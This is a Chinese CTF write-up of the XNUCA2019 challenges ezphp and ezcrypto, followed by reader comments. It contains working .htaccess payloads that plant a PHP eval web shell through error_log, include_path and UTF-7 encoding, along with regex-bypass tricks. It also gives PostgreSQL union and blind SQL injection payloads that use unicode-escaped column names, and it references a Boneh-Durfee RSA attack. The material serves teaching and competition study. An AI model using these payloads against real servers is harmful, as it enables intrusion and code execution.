

写在开头

这篇是关于我出的ezphp和ezcrypto两道题目的设计想法、题解以及一些非预期解的分享。

本次XNUCA2019线上赛的所有WriteUp以及题目环境会陆续在<https://github.com/NeSE-Team/OurChallenges>这个repo中放出，有疑惑的师傅们可以关注这个repo。

ezphp

前言

Ezphp设计的初衷是今年wctf的时候，我们在做pdoor这题时发现php-apache这个官方镜像的htaccess文件默认是生效的，因为脑海里一直有固有的htaccess文件默认生效的印象。

预期解

htaccess生效

如果尝试上传htaccess文件会发现出现响应500的问题，因为文件尾有Just one chance

这里采用# \的方式将换行符转义成普通字符，就可以用#来注释单行了。

利用文件包含

代码中有一处`include_once("fl3g.php");`，php的配置选项中有`include_path`可以用来设置include的路径。如果tmp目录下有fl3g.php，在可以通过将`include_path`

tmp目录写文件

- 如何在指定目录写指定文件名的文件呢？php的配置选项中有`error_log`可以满足这一点。`error_log`可以将php运行报错的记录写到指定文件中。
- 如何触发报错呢？这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将`include_path`的内容设置成payload的内容，这时访问页面，页面尝试将payload写入文件。
- 写进`error_log`的内容会被html编码怎么绕过？这个点是比较常见的，采用utf7编码即可。

payload

- 第一步，通过`error_log`配合`include_path`在tmp目录生成shell

```
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
```

- 第二步，通过`include_path`和utf7编码执行shell

```
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \
```

非预期

比赛时候一共有18个队解出Ezphp这题。看了WriteUp后发现只有一个队伍是预期解做的，其余一个队采用了非预期1的方法，剩下的16个队都是用的非预期2。也算是自己

非预期1

因为正则判断写的是`if(preg_match("/[^a-z\.]/", $filename) == 1) {`而不是`if(preg_match("/[^a-z\.]/", $filename) != 0) {`，因此存在了被绕过的可能。

通过设置htaccess

```
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
```

导致`preg_match`返回False，继而绕过了正则判断，filename即可通过伪协议绕过前面`stristr`的判断实现Getshell。

非预期2

惨痛的教训|23333

上文提到用\来转义换行符来绕过最后加一行的限制。

所以同理你也可以用\来绕过stristr处的所有限制233333。型如

```
php_value auto_prepend_file \
le ".htaccess"
```

ezcrypto

前言

Ezcrypto设计的初衷是上学期上密码学课的时候看了Dan Boneh的"Twenty Years of Attacks on the RSA

Cryptosystem", 感觉很多RSA相关的攻击都是基于这篇文章提到的内容进行变形完成的, 然后想着web狗应该也要会点密码学, 于是出了这个题。Ezcrypto的密码学部分的

密码学部分

本题的flag由root的密钥进行加密, 且密钥生成是安全的。

但是user的密钥生成过程中, 采用了从数据库中读取到的lowlimit以及uplimit作为私钥的上下界来生成。由于上界定在了0.4, 因此这样的密钥生成存在有Boneh

and Durfee

attack的场景, 即生成一个私钥的上界小于0.292时, N可以被分解。攻击脚本可以参考以下链接[https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh](https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_and_durfee_attack.py)

修改lowlimit

本题的第一考点就在于如何修改lowlimit以及uplimit的值。数据库操作均采用Django原生的ORM来实现, 后端数据库为Postgresql。代码中只有在当前密钥加密次数用完时select的方式来返回一个小数比如0.254之类的数, 去让lowlimit和uplimit满足条件。因此我们需要在分支的第一部分中, 尝试将数据库中的lowlimit和uplimit的值进行修改。我们可以很明显的发现有一处数据库操作是有问题的。

```
records = Record.objects.extra(
    where=[ 'username=%s', 'message!=%s', 'lucky!={0}'.format(lucky)],
    params=[user, message]
)
```

lucky处没有采用到ORM语法的方式, 而是采用了类似字符串拼接的方式来传入数据。当然, Django在采用extra来做查询的时候, 我也只知道了%s的方式来安全的传参, 对现在的问题变成了当你拥有一处Select型的注入的时候, 你怎么去修改数据库中的值。这里需要用到一个Django的ORM在实现的时候我个人认为没有做好的地方来完成这一有了可控的update以后, 我们还需要绕过wafs中对于.的限制, 即你不能直接通过小数或者科学计数法来表示一个纯小数。这部分应该会有各种各样花式的方法, 这里这部分的payload为

```
47) union select "id",round(log(80,3),3),round(log(75,3),3),"username","secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',
```

控制root密钥

第一步我们已经控制了user的密钥, 使其变得不安全可以采用Boneh and Durfee

attack来分解N。但是flag是有root的密钥加密的而不是user。观察代码我们可以发现, 在分支的第一部分, 一直采用的是session中的值进行的加密, 而不是数据库中的值。

```
request.session['root_N'] = Nroot
request.session['root_E'] = Eroot
request.session['root_flag'] = root_flag
request.session[recordone.username + '_N'] = Nuser
request.session[recordone.username + '_E'] = Euser
request.session[recordone.username + '_flag'] = user_flag
```

观察以上代码可以发现, root_N和root_E先赋值, 而recordone.username由于注入存在的关系, 是我们可控的, 因此我们可以通过控制recordone.username来使得session中的值被修改。这部分的payload为

```
47) union select "id","lowlimit","uplimit",'root',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!', "secretuser"
```

恢复用户名

上一步会将对应用户的用户名改变为root, 这会影响到最后获取Nuser和Euser的值, 因此在这里需要将用户名恢复过来。

```
47) union select "id","lowlimit","uplimit",'test',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!', "secretuser"
```

同时输入一组正常的message和lucky来获得一个使用Nuser和Euser加密的flag。

盲注Nuser和Euser

最后一步就是获取到数据库中的Nuser和Euser用于Boneh and Durfee

attack来分解。这里有两个问题。一是分支第一部分只有三次机会使用当前密钥, 如果机会用完则密钥会更新。这里不存在直接回显即得的注入, 只能通过盲注来完成。所以关注这部分代码

```
if len(records) == 0:
    content = "<script>alert('■■■■■■■■■■');window.location='/';</script>"
    return HttpResponse(content)
```

我们可以通过返回0个查询来触发这种状态。
第二个状态是来自这句代码

```
user_flag = crypt(message, request.session[recordone.username + '_N'], request.session[recordone.username + '_E'])
```

因为recordone.username是我们可控的，如果是一个session中不存在的键值，Django会抛出一个500错误的响应，这样即完成了两个状态，又使得代码不会走到使用次数
第二个问题是，Nuser和Euser这两个列名被禁止了，同时禁止了常见的一些表列名被禁止时的做法。此处用到了Postgresql特有的一个trick，最早在hitcon2017的SQL
so Hard非预期解中被提及，我感觉这个知识点国内好像不怎么提，所以特地再拿出来讲一遍。Postgresql可以采用U&"Eu!0073er" UESCAPE
'!'的方式来转义unicode字符，同时Postgresql的单引号和双引号是有明确含义的，而不是像Mysql那样存在混用的现象。即双引号可以用来表示列名而单引号则用来表示
UESCAPE '!'这样的表示不会存在字符串的歧义，而是准确地表示了列名的含义。
盲注的测试payload为

```
47) union select "id","lowlimit","uplimit",'a',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!', "secretuser","
```

本题相对过程比较复杂，主要考察了RSA的基本攻击方式、Django
ORM的一个问题以及Postgresql的一些特性，有点烦，所以flag原本设置也是叫NeSE{mix_upls-a little^disgusting}

点击收藏 | 0 关注 | 2

[上一篇：浅析反静态分析（三）](#) [下一篇：\[红日安全\]Web安全Day3 -...](#)

1. 7 条回复



[imti****](#) 2019-08-31 17:55:06

请问师傅，除了utf-7编码还有其他编码方式吗

0 回复Ta



[Zedd](#) 2019-08-31 20:25:44

[@imti****](#) utf16 应该也可以

0 回复Ta



[imti****](#) 2019-09-01 00:35:13

@Zedd

```
Text Editor
fl3g.php [Read-Only]
~/Desktop

[01-Sep-2019 00:30:06 Asia/Chongqing] PHP Warning: include_once(fl3g.php): failed to open stream:
No such file or directory in /var/www/html/index.php on line 10
[01-Sep-2019 00:30:06 Asia/Chongqing] PHP Warning: include_once(): Failed opening 'fl3g.php' for
inclusion (include_path='<?p|h\p\
\p\h\p\i\p\n\p\f\p\(\)\p;') in /var/www/html/index.php on line 10|
[01-Sep-2019 00:31:49 Asia/Chongqing] PHP Warning: include_once(fl3g.php): failed to open stream:
No such file or directory in /var/www/html/index.php on line 10
[01-Sep-2019 00:31:49 Asia/Chongqing] PHP Warning: include_once(): Failed opening 'fl3g.php' for
inclusion (include_path='<?p|h\p\
\p\h\p\i\p\n\p\f\p\(\)\p;') in /var/www/html/index.php on line 10
```

好像也会被编码

0 回复Ta



[rebirthwyw](#) 2019-09-02 15:54:21

[@imti****](#) 这个主要是看你用到的编码里面有没有htmlspecialchars会编码的字符，utf7不是唯一解。

0 回复Ta



[imti****](#) 2019-09-03 20:03:37

[@rebirthwyw](#) 谢谢师傅

0 回复Ta



[imti****](#) 2019-09-03 20:15:29

[@rebirthwyw](#) 是因为apache2 error.log 会底层调用到htmlspecialchars这个函数吗

0 回复Ta



[rebirthwyw](#) 2019-09-19 23:03:08

[@imti****](#) 对的

0 回复Ta

[登录](#) 后跟帖

[先知社区](#)

[现在登录](#)

[热门节点](#)

[技术文章](#)

[社区小黑板](#)

[目录](#)

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)